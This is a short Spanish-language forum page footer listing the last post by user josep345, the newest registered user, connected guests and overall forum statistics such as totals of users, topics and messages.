9 6187 23-05-2018 10:36:33 por josep345

Pie de página

Información del usuario

Ultimo usuario registrado: trc1952
Usuarios registrados conectados: 0
Invitados conectados: 7

Estadisticas de los foros

Número total de usuarios registrados: 1,015
Número total de temas: 1,066
Número total de mensajes: 10,486

Máx. usuarios conectados: 69 el 15-10-2017 09:23:21